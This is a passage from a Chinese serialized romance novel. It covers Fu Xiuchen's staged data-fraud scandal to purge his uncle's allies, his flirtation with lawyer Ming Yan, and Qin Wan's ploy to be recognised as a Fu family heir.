“权利?”明燃的眼底瞬间翻涌起骇人的戾气,他猛地伸手,攥住了她的手腕,力道大得让她蹙眉,“你的权利就是一次又一次往火坑里跳?以前是霍寒山,现在是傅修沉!你看男人的眼光什么时候能准一次?!” “傅修沉他不是火坑!” “他是!” 明燃低吼,额角青筋隐现,“你根本不知道他是什么样的人!你不知道他背地里都做了些什么!” “那你告诉我啊!”明嫣用力想挣脱他的钳制,却徒劳无功,“你告诉我他到底做了什么十恶不赦的事情,让我明明白白地死心!” 明燃死死盯着她,胸膛剧烈起伏,那双眼睛里充满了红丝,“因为他……” 明嫣的一颗心顿时提到了嗓子眼儿…… 第78章 我怎么配不上明嫣了? 他嘴唇动了动,那几个肮脏的字眼几乎已经到了嘴边,却又被他死死咽了回去。 不能说。 绝不能说。 那会毁了她。 良久,明燃的声音才响起,“嫣儿,信哥一次……就这一次……” 明嫣深吸了一口气——又是这样。 什么事情都瞒着她,却还打着为她好的旗号。 “大哥,我已经不是小孩子了。” “嫣儿……” 明嫣打断他,心底一片冰凉,“你不说的那些事,我会自己查。” 说完,她不再看他,转身快步离开了花房。 玻璃门在她身后合上,发出轻微的撞击声。 明燃闭上眼,喉结剧烈地滚动了一下,咽下满腔的铁锈味和无力感。 …… 明嫣坐飞机回了江南,第一时间就去了跃华生物总部。 大厦楼下比往常冷清许多,但依旧聚集着一些闻风而来的记者。 她戴着墨镜,低着头,从侧门快速进入。 周慕言显然提前得到了消息,在电梯口等她。 他脸色憔悴,眼下一片乌青,但还算镇定。 “周学长,现在情况怎么样了?”明嫣摘下墨镜,直接问道。 周慕言揉了揉眉心:“很糟。举报材料非常详尽,涉及核心临床试验的几组关键数据都被指证篡改。药监局已经封存了所有原始数据和实验记录,正在逐一核查。一旦认定造假,‘华愈’项目立刻终止,之前所有的投入和前期市场推广全部付诸东流,更别提后续的法律责任和天价赔偿。” 他顿了顿,看向明嫣,语气沉重:“而且,傅总的二叔现在很是活跃,似是想要控制跃华生物,趁机夺权……” 傅承平…… 那家伙果然是个不安分的! “我能做什么?”她问。 周慕言愣了一下,似乎没料到她会这么问。 他斟酌了一下言辞:“明小姐,您的好意我心领了。但眼下……您最好还是置身事外。傅总之前吩咐过,无论发生什么,都不要把您牵扯进来。” 又是这句话…… 她总觉得,有什么地方不对劲。 “周律师,”明嫣目光锐利地看向他,“你老实告诉我,傅修沉是不是早就知道会有人动手?” 周慕言眼神微闪,避开了她的视线:“明小姐,傅总的心思,不是我们能揣测的。” 他的回避,反而让明嫣更加确信了自己的猜测。 傅修沉难道早就知道? “我需要‘华愈’项目公开的,不涉及机密的所有资料,还有……” 可还没等她说完,办公室的门被人从外面一把推开。 只见傅承平踱步而入,身后跟着两名面色冷硬的保镖。 他今日特意穿了身剪裁考究的深灰色西装,头发梳得一丝不苟,嘴角噙着一抹志得意满的浅笑。 “周律师……”他扭头看向周慕言,“现在跃华正值多事之秋,闲杂人等,还是不要随意带入核心办公区为好。” 他的目光慢悠悠转向明嫣,“明小姐,这里是跃华生物,内部事务,自有我们处理,不劳外人费心。请回吧。” 明嫣看他那副得意的嘴脸,忍不住反唇相讥,“傅二叔还知道这里是跃华生物啊?” 傅承平像是听到了什么笑话,低低嗤笑一声,他慢条斯理地整理了一下自己的袖口,姿态悠闲。 “明小姐的火气不要这么大嘛,我当然知道这里是跃华生物,只不过,我这个侄子年轻气盛,犯了错,给公司带来如此巨大的危机,总得有人出来稳定局面,收拾烂摊子。董事会一致推举我暂代总裁一职,一切都合理合法……” 他往前踱了一步,逼近明嫣,“至于你,明小姐,看在明家的面子上,我给你留几分颜面。识相的,自己离开。否则,被我‘请’出去,大家脸上都不好看。” 周慕言脸色难看,上前一步想说话:“傅……” “周慕言!”傅承平厉声打断,眼神冰冷地扫过去,“做好你分内的事!别忘了,现在,谁才是跃华的主人!” 周慕言攥紧了拳头,额角青筋隐现,但终究是颓然地闭了闭眼,没再出声。 明嫣看着眼前这一幕,心彻底沉了下去。 傅承平显然是有备而来,而且已经迅速掌控了局面。 连周慕言都被压制,她一个“外人”,此刻在这里确实毫无立锥之地。 她不再看傅承平那令人作呕的得意嘴脸,转身朝着办公室外走去。 …… 明嫣一无所获地回了明家,刚进客厅,就看见大哥明燃坐在客厅,显然是在等她。 “回来了?”他语气平淡,听不出什么情绪。 明嫣抿了抿唇,没说话。 明燃走到吧台,给自己倒了杯水,仰头喝了一口,“去跃华了?” “嗯。”明嫣低低应了一声。 “碰壁了?”明燃的语气带着一种早已料到的了然,“傅承平那种老狐狸,既然动了手,就不可能给你留任何机会。” 他放下水杯,走到她面前,居高临下地看着她,“现在死心了?” 他这副仿佛一切尽在掌握的姿态,彻底点燃了明嫣心中压抑已久的怒火和委屈。 明嫣猛地抬起头,“大哥,你到底为什么这么讨厌傅修沉?” 明燃的脸色沉了下来,“我告诉过你,他不是良配!他接近你目的不纯!你现在为了他,跟我大呼小叫?” “目的不纯?什么目的?!”明嫣往前一步,逼视着他,“你口口声声说他不是好东西,说他目的不纯,那你告诉我,他到底做了什么?!你拿出证据来啊!” “证据?”明燃冷笑,胸腔因怒气而微微起伏,“有些事,不需要证据!你只要知道,我绝不会害你!傅修沉他配不上你!” 又是这样! 永远是这样! 打着为她好的旗号,却什么都不肯告诉她! 明嫣下意识地动了动唇,可还没等她开口说话,就听见一道低沉的嗓音自身后响起,带着几分漫不经心的凉意,“我倒是也想听听,我怎么配不上明嫣了……” 这声音…… 明嫣浑身猛地一僵,霍然转头! 只见傅修沉不知何时站在花房入口处,一身挺括的黑色大衣,肩头沾染着室外的寒意,身形挺拔如松。 他神色淡漠,暖黄的光线落在他深邃的眉眼间,衬得眼尾那颗朱砂痣妖冶得惊心。 他身后跟着一脸焦急无奈的祥叔,“少爷,小姐……傅少他……实在拦不住……” 而明嫣大脑一片空白,完全无法理解眼前的情形,一双眸子瞪得圆圆的,满是惊愕和茫然。 他…… 他不是应该在…… 这怎么回事儿? 第79章 谢谢老婆大人 “傅修沉?” 明燃的脸色瞬间就沉了下来,眉头紧皱,“你怎么会在这里?” 傅修沉迈步走进客厅,唇角勾起一抹极淡的弧度,似笑非笑,“真不好意思,让明总失望了。” 明燃眉头死死拧紧,电光火石间,一个念头猛地窜入脑海,他脸色瞬间铁青,眼神锐利如刀地射向傅修沉,几乎是咬着牙挤出那句话:“你……是宋青州……你们……” 傅修沉只是笑了笑,未置可否,那笑意却未达眼底。 明燃瞬间全都明白了! 他胸口剧烈起伏,额角青筋暴跳,他死死盯着傅修沉,那眼神像是要将他生吞活剥。 半晌,他从牙缝里挤出一句:“好,好得很!傅修沉,你够狠!” 说完,他猛地拂袖,撞开傅修沉的肩膀,带着一身骇人的戾气,大步离开了客厅。 偌大的客厅里,瞬间只剩下傅修沉和明嫣两人。 而此时的明嫣还处在巨大的震惊中没能回神,看看被摔上的门,又看看近在咫尺的傅修沉,张了张嘴,脑子乱成一团浆糊。 她仰起小脸,呆呆地望着面前的男人,第一反应竟是脱口而出:“你……你越狱了?!” “……” 傅修沉显然没料到她会冒出这么一句,怔了一下,随即低低地笑出声来,冷峻的眉眼瞬间柔和下来,像是冰雪初融。 他上前两步,走到她面前,微微俯身,指尖亲昵地轻轻点了点她的鼻尖,触感微凉。 “回神了,小明律师。”他嗓音里含着未散的笑意,低沉悦耳,“想象力这么丰富,怎么不去写小说?” 鼻尖传来他指尖微凉的触感,带着他身上清冽好闻的气息,明嫣猛地回过神,脸颊“轰”地一下烧了起来,下意识后退半步,却被他揽住腰肢轻轻带回。 “你……你放开!”她羞恼地瞪他,心跳却不受控制地失序。 傅修沉从善如流地松开手,但深邃的目光依旧牢牢锁着她,像是带着钩子。 “听说你为了我,急匆匆从江南飞回来,又跑老爷子那里打探消息……” 他微微偏头,眼尾那颗朱砂痣在客厅暖光下显得格外妖冶,语气带着几分戏谑,却又莫名缱绻,“我们嫣嫣……这么担心我?” “谁、谁担心你了!”明嫣像是被踩了尾巴的猫,瞬间炸毛,脸颊红透,连耳根都染上了绯色,“我那是……那是出于人道主义关怀!” 她越说声音越小,底气不足。 傅修沉眼底的笑意更深,从喉咙里溢出一声低沉的“嗯”,尾音拖长,带着说不清的宠溺和了然,“原来是这样。” 他忽然又凑近了些,温热的气息拂过她敏感的耳廓,声音压得极低,只有两人能听见: “那就……谢谢老婆大人了?” “轰——!” 明嫣只觉得一股热血直冲头顶,整个人都快熟透了,又羞又气,抬手就想捶他,“傅修沉!你胡叫什么!谁是你老婆!” 傅修沉轻而易举地握住她砸过来的小拳头,包裹在掌心,指腹在她手背上轻轻摩挲了一下,带来一阵过电般的酥麻。 她瞪着他,试图用凶狠的眼神掩盖内心的慌乱,“傅修沉!这到底是怎么回事?!你……你快点说清楚!” 看着她炸毛的可爱模样,傅修沉眼底的笑意更深了些。 他不再逗她,拉着她在沙发坐下。 “很简单。”傅修沉语气平静,仿佛在说一件再寻常不过的事情,“你哥想借宋青州的手扳倒我,可惜,他找错人了,我早就跟他通过气了……” 明嫣愕然:“你……你怎么知道大哥会去找他?” “猜的。”傅修沉侧头看她,光影在他轮廓分明的侧脸上投下淡淡的阴影,“你大哥反对我们订婚的态度那么激烈,绝不会坐视不理。而眼下,能给跃华造成足够大麻烦,又有动机和能力动手的,宋青州是最合适的人选。” “所以你将计就计?”明嫣似乎明白了一些。 “嗯。”傅修沉颔首,“宋青州那老狐狸,确实想致我于死地。我们斗了这么多年,他比谁都清楚,一旦跃华Pre-IPO成功,傅宋两家的差距将进一步拉大,他宋氏再无翻身之日。” 他顿了顿,“但他更清楚,跟我硬碰硬,他胜算渺茫。比起当敌人,当一个能从中获利的盟友,显然更划算。” “所以你们……”明嫣只觉得不可思议,“你们联手做了个局?那个实名举报……” “是真的举报,证据也是真的,只不过,是经过‘加工’的证据。”傅修沉淡淡道,“足够引起药监局重视,启动调查,造成舆论风波,但又不足以真正定罪。目的是引蛇出洞,顺便……清理一下跃华内部某些不安分的钉子……” 明嫣听得目瞪口呆。 所以……所谓的“数据造假”风波,所谓的被带走调查,根本就是他自编自导自演的一出戏?! 目的就是为了清理门户?! 傅修沉看着她变幻不定的脸色,伸手,轻轻捏了捏她的掌心。 “吓到了?”他问,声音低缓了些。 明嫣抬起头,眼神复杂地看着他,“你……你早就计划好了一切?” 难怪不管是傅老爷子还是周慕言,他们都跟她说过让自己不要插手…… 可她却偏偏往前凑。 傅修沉沉默了一下,随即抬手将她额前的碎发别到耳后。 “其实我挺意外你的态度的……”他开口,声音比刚才更沉。 明嫣怔住。 傅修沉深深地看着她,那双深邃墨色的眼眸里翻涌着太多她看不懂的情绪,“在所有人都认为我可能一败涂地的时候,你竟然还会相信我,还选择站在我这边……” 他顿了顿,唇角微微上扬,“看来,我们明律师,比我想象的要……更喜欢我。” 明嫣的心跳漏了一拍,脸蹭地一下就红了,“你……你胡说八道什么?谁喜欢你了?!” 傅修沉轻笑了一声,“对,胡说八道,是我喜欢你……” “……” 明嫣的脸这下红了彻底。 她没料到傅修沉连表白都这么明晃晃…… 客厅里安静下来,只剩下彼此轻微的呼吸声。 男人靠得很近,明嫣能清晰地闻到他身上清冽的气息,混合着淡淡的冷木香,扰得她心绪不宁。 “所以,”明嫣抿了抿唇,试图转移话题,也问出心中的另一个疑惑,“你和我大哥……你们之间,到底有什么过节?他为什么那么讨厌你?” 这是她一直想不通的地方。 就算商业上有竞争,大哥的反应也未免太过激烈,甚至到了不惜与宋青州合作也要毁了傅修沉的地步。 傅修沉眸色几不可察地沉了沉,他移开视线,“我也不清楚……” 第80章 还有更混蛋的……想试试吗? 傅修沉说得云淡风轻,可明嫣的心却猛地一沉。 她看着他移开的视线,直觉他在说谎…… 这两个男人! 不是说死对头的吗? 这会儿倒是都是一模一样的讳莫如深! 到底在瞒什么? 傅修沉看着她低垂的小脑袋,眼珠子在薄薄的眼皮底下咕噜噜直转,就知道这小狐狸根本没信他的话,正自个儿琢磨呢。 他眼底掠过一丝极淡的笑意,忽然伸手,温热的指腹轻轻捏住她小巧的下巴,迫使她抬起头来。 “瞎琢磨什么呢?”他嗓音低沉,带着点不易察觉的缱绻,拇指若有似无地摩挲着她下颌细腻的肌肤。 明嫣心跳漏了一拍,被他指尖的温度烫得微微一颤,下意识想偏头躲开,却被他稍稍用力固定住。 “我……我没想什么!”她嘴硬,脸颊却不受控制地开始升温,“你放开……” “没想什么?”傅修沉低笑,尾音拖长,带着点戏谑的意味,“那让我猜猜……是在想,我和你大哥到底有什么见不得人的过往?嗯?” 他最后一个“嗯”字,鼻音微重,气息拂过她的耳侧,带来一阵酥麻。 明嫣呼吸一窒,被他戳中心事,又羞又恼,偏偏被他禁锢着动弹不得,只能瞪着一双水盈盈的眸子嗔视他:“傅修沉!你少自作多情!谁、谁在乎你们那些破事!” “不在乎?”他挑眉,俊脸又凑近了几分,近得她都能数清他浓密的长睫,“那怎么我一提,我们小明律师的脸就红得像熟透的桃子?” 他的目光落在她绯红的脸颊和微微张合的唇瓣上,眸色渐深,像是化不开的浓墨,“让人……想咬一口。” “你……你混蛋!”明嫣被他露骨的话语撩得血液仿佛都涌到了脸上,连脖颈都染上了一层粉色。 她抬手想推开他,手腕却被他轻而易举地擒住,反剪到身后。 这个姿势让她不得不更加贴近他,几乎能感受到他胸膛传来的沉稳心跳和灼热体温。 “这就混蛋了?”傅修沉看着她羞愤交加却又无力挣脱的模样,眼底的笑意更深。 他俯身,薄唇几乎贴上她敏感的耳廓,压低了声音,用气声在她耳边低语,每个字都带着滚烫的热意,“还有更混蛋的……想试试吗,嫣嫣?” 那声“嫣嫣”叫得又低又磁,像带着小钩子,狠狠挠过明嫣的心尖。 大脑一片空白,所有的思绪都被他灼热的气息和暧昧的话语搅得一团乱。 就在她以为他会更进一步时,傅修沉却忽然松开了她。 他好整以暇地站直身体,理了理微皱的袖口,又恢复了那副矜贵冷峻的模样,仿佛刚才那个在她耳边说着浑话的男人不是他一样。 “好好休息。”傅修沉抬手,轻轻拂过她依旧滚烫的脸颊,“我改天……再来看你。” 说完,他深深看了她一眼,转身大步离开。 明嫣看着他的背影消失在门口,这才抬手捂住依旧狂跳的心口,脸颊上的热度久久不散…… 这个混蛋…… 说好的禁欲高冷呢? 撩人撩成这样! 还让不让人活了?! …… 傅修沉的行动快得惊人。 数据造假风波在他“配合调查”结束后,迅速逆转。 药监局发布了正式公告,确认跃华生物“华愈”项目核心数据真实有效,所谓举报系部分人员捏造并恶意篡改证据,案件已移交司法机关处理。 与此同时,跃华生物内部展开了一场无声却彻底的大清洗。 傅承平安插进来的钉子,那些在风波中跳得最欢,试图浑水摸鱼的中高层,被连根拔起,无一例外。 傅修沉甚至没有给他们申辩的机会,雷霆手段,干脆利落。 他借着这次假危机,将傅承平伸到跃华的手,剁得一干二净。 为此,傅承平元气大伤,可谓人财两空。 无法他跑到傅家老宅,在傅老爷子面前义愤填膺地哭诉委屈。 “爸!您看看修沉!他这干的是什么事?!我是他二叔!我还能害他吗?我那是担心他年轻,想帮他看着点公司!他可倒好,故意设局,把自己摘出去,反过来把我的人全清了!这……这简直是不讲情面,不把我这个二叔放在眼里啊!” 傅老爷子端着茶杯,眼皮都没抬一下,慢悠悠地吹着浮沫,纹丝不动。 倒是一旁的傅老夫人看不下去了。 她这辈子就生了两个儿子,大儿子早年意外去世,只留下傅修沉这根独苗。 小儿子傅承平是她高龄产子,自幼溺爱,简直就是心头肉。 偏生傅承平与妻子感情极笃,两人约好了丁克,没给她留下孙子孙女,让她觉得自家儿子吃了大亏,她更是把一腔怜爱都倾注在了这小儿子身上。 此刻见小儿子如此委屈,傅老夫人忍不住抱怨道:“修沉这次确实是太胡闹了!都是一家人,有什么话不能好好说?非要弄这么大阵仗,故意让自己去接受调查,趁机铲除异己?这让外面的人怎么看我们傅家?说他二叔算计侄子?像什么话!” 她越说越心疼,拉着傅承平的手,嗔怪地看向傅老爷子:“老头子,你倒是说句话啊!承平再不对,那也是他亲二叔!修沉这么做,也太伤人心了!有什么事不能关起门来商量?” 傅老爷子被吵得心烦,重重放下茶杯,发出“铛”的一声脆响。 “商量?商量什么?”傅老爷子冷哼一声,目光锐利地扫过一脸委屈的傅承平,“商量怎么把跃华掏空?还是商量怎么把你侄子拉下马,你好取而代之?” 傅承平脸色一白:“爸!我没有……” “你有没有,你自己心里清楚!”傅老爷子打断他,语气不容置疑,“修沉这次做得没错!跃华是他一手创立的心血,容不得任何人染指!那些吃里扒外的东西,不清留着过年吗?!” 他顿了顿,看向还想说什么的老妻,语气缓和了些,却带着深深的无奈:“你啊,就是太惯着他了!慈母多败儿!” 傅老夫人被噎了一下,不满地撇撇嘴。 她知道自己小儿子能力不如大孙子,可那也不能这么不留情面啊! 想到傅修沉那冷硬的性子,再看看身边委委屈屈的小儿子,傅老夫人心里那点对明嫣本就微妙的不满,又冒了出来。 “我就是觉得,修沉现在做事越来越独断,越来越不近人情了……说不定就是被那个明家丫头给影响的!” 傅老夫人忍不住嘀咕,“那丫头,我看着就不像省油的灯!跃华在江南一家独大,谁敢无缘无故去招惹修沉,拍那种照片?我看呐,那绯闻满天飞,指不定就是那丫头自己搞出来的手段,逼着修沉对她负责呢!” 她越想越觉得是这么回事,语气也带上了几分轻蔑:“哼,靠着这种上不得台面的法子攀上我们傅家,心机深得很!我们修沉那么优秀,什么名门闺秀找不到,偏偏被她给缠上了……” 第81章 得快些…… “够了!”傅老爷子沉声喝止,眉头紧锁,“嫣儿那孩子我看着挺好!懂事,明理,关键时刻能信修沉,这就够了!那些捕风捉影的话,以后不许再说!” 傅老夫人被吼得一哆嗦,见老爷子真的动了怒,悻悻地闭上了嘴,但脸上依旧写满了不以为然。 傅老爷子看着老妻这副模样,心里叹了口气。 他知道老妻是心疼小儿子,加上对明嫣不了解,才有偏见。 可修沉的婚事,他乐见其成。 明嫣那丫头,眼神干净,骨子里有股韧劲,配修沉,正好。 至于那些小辈之间的恩怨和手段…… 只要不触及底线,他懒得管,也相信修沉能处理好。 他现在,只盼着家里能早点办场喜事,冲一冲这沉闷的气氛。 “修沉和嫣儿的婚事抓紧办,”傅老爷子一锤定音,“这才是我们傅家现在最大的喜事!” 傅老夫人撇了撇嘴,没再吭声,心里却对那个“心机深重”的未来孙媳妇,更添了几分不喜。 “老爷子,孙少爷回来了,在书房等您……” 就在这时,有佣人进来通传。 “知道了。”傅老爷子拄着拐杖站起身来,朝着书房的方向走去。 而此时的书房,茶香氤氲。 傅老爷子看着对面神色平静的孙子,叹了口气,“你二叔那边你不用有什么顾忌,按照你的想法来。至于你奶奶,你别往心里去,她年纪大了,糊涂。” 傅修沉摩挲着温热的茶杯,眼睫低垂,遮住眸底深色,“我知道。” “只是,修沉,”傅老爷子语气沉凝,“宋青州,此人城府极深,与他合作,无异于与虎谋皮。” “我心里有数。”傅修沉抬眸,眼神锐利如初,“他蹦跶不了多久。” 傅老爷子看着他这副运筹帷幄的模样,知道无需多言,转而又道:“你和嫣儿的订婚宴,我看就定在下月初八,日子不错。” 傅修沉指尖微顿,随即颔首,“好。” 他脑海中浮现明嫣那张俏脸,唇角几不可察地弯了一下。 得快些。 免得他的小狐狸……被吓跑。 …… 而与此同时的江南。 接到法院传票时,秦婉正坐在江南新开的奢侈品买手店里。 她翘着刚做好水晶甲的手指,对着一面镶金边的试衣镜,来回比划着一条限量款丝巾。 店员跪在地毯上,为她试穿一双缀满碎钻的高跟鞋。 “秦小姐,您皮肤白,这颜色衬您。”店员谄媚道。 秦婉勾唇,享受着这种被捧着的滋味。 这才是她该过的日子。 手机震动,是特设的提示音。 她漫不经心瞥了一眼——电子法院文书送达的通知。 点开。 【名誉权纠纷……】 【反诉……】 【明嫣?】 待她看清反诉请求最后那刺眼的【索赔精神损失费一元】时,脸上的得意瞬间凝固。 “一……元?” 而此时店里还有其他正在挑选衣物的客人,不乏几位眼熟的江南名媛。 她们似乎也听到了动静,交换着眼神,嘴角是压不住的讥诮弧度。 窃窃私语声,像针一样钻进秦婉的耳朵。 “这位就是最近火爆的‘一元’案里的那个秦小姐啊?话说她到底是哪里冒出来的?一身……嗯,挺有‘特色’的。” “听说最近到处撒钱想挤进圈子,可惜啊……” “一元案?这可真是今年江南最大的笑话了,明律师这是杀人诛心啊……” 那些目光,或明或暗,带着毫不掩饰的鄙夷和嘲笑,上下扫视着她。 秦婉脸上的血色“唰”地一下褪得干干净净,攥着手机的手指用力到指甲几乎要掐进屏幕里。 明嫣那个贱人! 她怎么敢?! 她一把推开还在为她穿鞋的店员,踉跄着站起身,高跟鞋都顾不上换,几乎是落荒而逃般冲出了买手店。 身后,那些嗤笑声再也压抑不住…… …… “砰!” 江南某高档公寓内,一个限量款的手包被狠狠砸在墙上,发出沉闷的声响。 秦婉胸口剧烈起伏,眼睛赤红地对着坐在沙发上揉着额角的秦晓林尖声咆哮: “妈!你看到明嫣那个贱人是怎么羞辱我的了吗?!一元!她居然敢索赔一元!现在整个江南都在看我的笑话!我成了所有人嘴里的笑柄!” 她挥舞着手臂,歇斯底里,“我不管!你一定要想办法弄死她!立刻!马上!我要她身败名裂!我要她跪在我面前求饶!” 秦晓林被女儿吵得头疼,放下手,眉头紧锁:“婉儿!你冷静点!跟你说过多少次了,不要冲动!” “我冷静?!我怎么冷静?!”秦婉的眼泪唰地一下就涌了出来,“被嘲笑的人不是你!被当众打脸的人也不是你!你当然能冷静!你是不是根本就不管我的死活?!” “你要是不管,我就去找爸爸!我是他女儿,他不能不管我!” “闭嘴!”秦晓林脸色骤变,厉声喝止,一把捂住秦婉的嘴,紧张地看了一眼紧闭的房门,压低声音,语气带着前所未有的严厉,“我跟你说了多少遍,不要提他!更不能去找他!” 她用力将女儿按坐在沙发上,眼神锐利,“你以为你爸爸现在日子好过?他现在元气大伤,夹着尾巴做人还来不及,更需要仰仗许家那边的势力稳住局面!这个时候,你去找他?是嫌他倒得不够快,还是嫌我们死得不够惨?!” 秦婉被母亲眼中的厉色慑住,哭声噎在喉咙里,但脸上的怨毒丝毫不减。 “那我怎么办?!我就活该被明嫣那个贱人踩在脚下吗?!”她死死揪着身下的真皮沙发,指甲划出刺耳的声响,“我是傅家的女儿!凭什么我要像个阴沟里的老鼠一样躲躲藏藏?凭什么那个明嫣就能风光无限地嫁进傅家?!” 她越说越激动,声音扭曲变形:“我受够了!我不要再过这种见不得光的日子!我要回傅家!我要让所有人都知道,我秦婉才是真正的傅家小姐!我要把明嫣踩进泥里!” 秦晓林看着女儿近乎癫狂的模样,心不断往下沉…… 明嫣…… 那个小贱人! 她的目的是这个吗? 第82章 傅家的血脉,绝不能流落在外!(加更) “婉儿,明嫣她是想要激怒你。” 秦晓林一字一顿,声音沉冷,“她故意用这种近乎儿戏的方式挑衅你,羞辱你,就是想看你跳脚,看你发疯,看你像现在这样,失去理智,不顾一切地去找她麻烦。” “她算准了你沉不住气。” 秦晓林的眼睛微眯,“只要你一动,就必然会留下破绽。到时候,她就能抓住你的尾巴,顺藤摸瓜,将我们连根拔起!” 秦婉的脸色随着母亲的话,一点点变得惨白。 她不是真的蠢到无可救药,只是被愤怒和虚荣冲昏了头脑。 此刻被秦晓林点破,她瞬间惊出了一身冷汗。 “她……她敢!”秦婉的声音带着后怕的颤抖。 “她为什么不敢?”秦晓林冷笑,“她现在是傅修沉的未婚妻,背靠傅明两家。而我们呢?你爸爸刚在跃华折了人手,元气大伤,自身难保,短时间内绝不敢再轻举妄动。我们失去了最大的倚仗!” 她抓住秦婉的手,力道大得让秦婉感到疼痛,“婉儿,听妈一句劝,小不忍则乱大谋!现在我们必须忍!忍下这口气,按兵不动!让她明嫣的拳头打在棉花上!只要我们不动,她就抓不到我们的把柄,时间久了,这事自然就淡了!” 秦婉看着母亲眼中深切的担忧和不容置疑,牙齿死死咬住下唇,尝到了血腥味。 她不甘心! 一万个不甘心! 可她也知道,妈妈说的是对的。 明嫣那个贱人,太狡猾了! “……我知道了,妈。”许久,秦婉才从喉咙里挤出这句话,声音低哑,她垂下头,长发遮住了她扭曲怨毒的表情,“我不会冲动的,你放心吧。” 秦晓林仔细观察着女儿的神色,见她似乎真的听进去了,这才稍稍松了口气,轻轻拍了拍她的手背:“好孩子,委屈你了。等风头过去,等你爸爸稳住局面,妈一定帮你连本带利地讨回来!” 秦婉顺从地点点头,依偎进母亲怀里。 然而——忍? 她秦婉凭什么要忍? 她是傅承平的亲生女儿! 是傅家正儿八经的血脉! 傅家……她一定要回去! 而且要风风光光地回去! 这段时间在江南名媛圈看似漫无目的的厮混,她并非全无收获。 那些太太小姐们茶余饭后的闲谈,她听得比谁都认真。 她清楚地知道,傅家那位老夫人,对她父亲傅承平这个小儿子有多么溺爱,简直是捧在手里怕摔了,含在嘴里怕化了。 突破口,就在傅老夫人身上! 一个大胆而疯狂的计划,在她心底迅速成型…… …… 几天后,一个阳光晴好的午后。 城郊一家极负盛名的私人养生会所外,绿树成荫,环境清幽。 秦婉穿着一身价格不菲却并不张扬的米白色套装,拎着限量款手袋,看似随意地走在会所外的林荫小道上。 她掐算着时间,目光状似无意地扫过会所门口。 当她看到那辆熟悉的黑色劳斯莱斯缓缓驶来时,心脏猛地一跳。 来了! 她立刻拿出手机,假装正在与人通话,声音刻意拔高,带着浓浓的委屈和愤懑: “……是!我是傅承平的女儿又怎么样?那是我能选择的吗?” 她一边说,一边朝着劳斯莱斯可能停靠的方向靠近,确保声音能清晰地传过去。 “他傅承平二十多年对我不闻不问,现在看我长大了,就想认回我?凭什么?!” “我告诉你,我秦婉不稀罕!我没有他这个爸爸,这二十多年我也过得很好!” 她的声音带着哭腔,却又强装坚强:“你让他死了这条心!我绝不会回傅家!我不会认他!我就当从来没出现过这个父亲!” 说完这几句精心准备好的台词,她像是情绪崩溃般,猛地挂断电话,肩膀微微耸动,仿佛在无声啜泣。 然后,她捂着脸,快步朝着与劳斯莱斯相反的方向伤心离去,背影显得格外单薄又倔强。 她的一系列表演,分毫不差地落入了刚刚下车,正准备进入会所的傅老夫人眼中。 傅老夫人今天约了老姐妹来做养生护理,心情本来颇好。 然而,秦婉那几句石破天惊的话,像一道道惊雷,劈得她当场僵在原地,手里的佛珠都差点掉在地上。 傅承平的女儿? 二十多年不闻不问? 认回傅家? 这几个关键词组合在一起,让傅老夫人血压瞬间飙升,心跳快得几乎要跳出胸腔。 “刚才……那个女孩……”傅老夫人声音发颤,抓住身边贴身佣人的手,“你听到了吗?她说她是承平的女儿?” 佣人也一脸震惊,连忙点头:“老夫人,我……我好像听到了……” “去查!”傅老夫人脸色铁青,呼吸急促,“立刻!马上去给我查清楚!那个女孩是谁?她妈妈是谁?她和承平到底什么关系?!” 她不敢相信,自诩丁克的小儿子,竟然在外面有一个二十多岁的私生女?! 还一直瞒着她?! 如果这是真的…… 那这个孩子,就是她傅家的血脉! 是她的亲孙女! 傅家的速度快得惊人。 很快,不过半天功夫,关于秦婉和秦晓林的所有资料,就摆在了傅老夫人的面前。 当看到秦晓林的照片,以及她与傅承平这些年隐秘的来往记录时,傅老夫人还有什么不明白的? “是了……是了……难怪承平以前总往江南跑……” 傅老夫人喃喃自语,手指颤抖地抚摸着资料上秦婉的照片,“是我的孙女……是我们傅家的血脉啊!流落在外二十多年,吃了多少苦……” 她想到小儿子承平这些年受得委屈,想到他膝下无子的遗憾,又看着资料上秦婉那张楚楚可怜的照片,傅老夫人心底又涌起一股难以言喻的酸楚和怜爱。 这是她的亲孙女啊…… 长得和承平真像…… 老天爷终究待她不薄! 只不过,她又想起秦婉那番“绝不回傅家”的决绝话语,更是心疼得无以复加。 这孩子,一定是受了大委屈了! 不行! 傅家的血脉,绝不能流落在外! 必须认回来! 第83章 掐坏了…… 江南的冬日,湿冷入骨。 明嫣裹紧了大衣,快步走向律所。 然而,就在她准备推门而入时,目光不经意地扫过街道对面,脚步猛地顿住。 对面那家原本空置的商铺,不知何时已经装修完毕。 巨大的落地窗擦得锃亮,里面是简约而专业的办公风格。 最刺眼的,是悬挂在门口的烫金招牌—— 明寒律师事务所(江南分部) 明嫣:“……” 跟在她身后的陆奉归倒吸一口凉气,手里的豆浆差点洒出来,舌头都打结了:“老……老板!对面!对面!是霍……霍律师他……” “看见了。”明嫣的语气平淡,推开律所的玻璃门,“干活。” 陆奉归看着她这副云淡风轻的模样,一时语塞。 他总觉得自家老板这次从京都回来后,哪里不一样了。 像是……彻底把某些东西从心里剜掉了,连疤都没留。 “可这也太膈应人了……”陆奉归小声嘟囔。 明嫣放下咖啡杯,重新将注意力放回电脑屏幕,“有功夫关注别人,不如把秦婉反诉案的证据链再梳理一遍。一元钱也是钱,得让法院判得明明白白。” 陆奉归:“……” 行吧,您狠。 …… 忙碌了一周,趁着周末休息,明嫣直接飞回魔都。 一大清早,明嫣裹着件柔软的羊绒开衫,蜷在客厅沙发里,脚趾陷进厚厚的长绒地毯,有一搭没一搭地翻着膝上的法学期刊。 回到父母身边,连骨头缝里都透出懒洋洋的惬意。 “你说你,回来也不提前说,我好让厨房多做几个你爱吃的。”苏婉晴嗔怪地看她一眼,眼角眉梢却都是笑意。 “就想突然袭击,看看您和爸是不是背着我吃好吃的。”明嫣弯起眼睛,难得露出点小女儿情态。 明庭峰戴着老花镜看报纸,闻言哼笑一声:“明明是馋了。” 一家三口正说着闲话,院外隐约传来汽车引擎声。 明嫣没在意,以为是邻居。 直到祥叔略带诧异的声音在玄关响起:“傅少爷?您怎么来了?快请进。” 明嫣的手指一顿,倏地抬头。 逆着光,一道挺拔身影已迈步进来。 傅修沉穿着简单的黑色高领毛衣,外罩深灰色长大衣,肩头沾着些许室外带来的清寒气息,越发显得眉眼深邃,气质清绝。 他手里提着几个精致的礼盒,先是对祥叔微微颔首,随即目光便落在沙发上的明嫣身上,唇角勾起极淡的弧度。 “伯父,伯母。”他语气自然,目光随即落在明嫣身上,唇角微勾,“嫣嫣。” 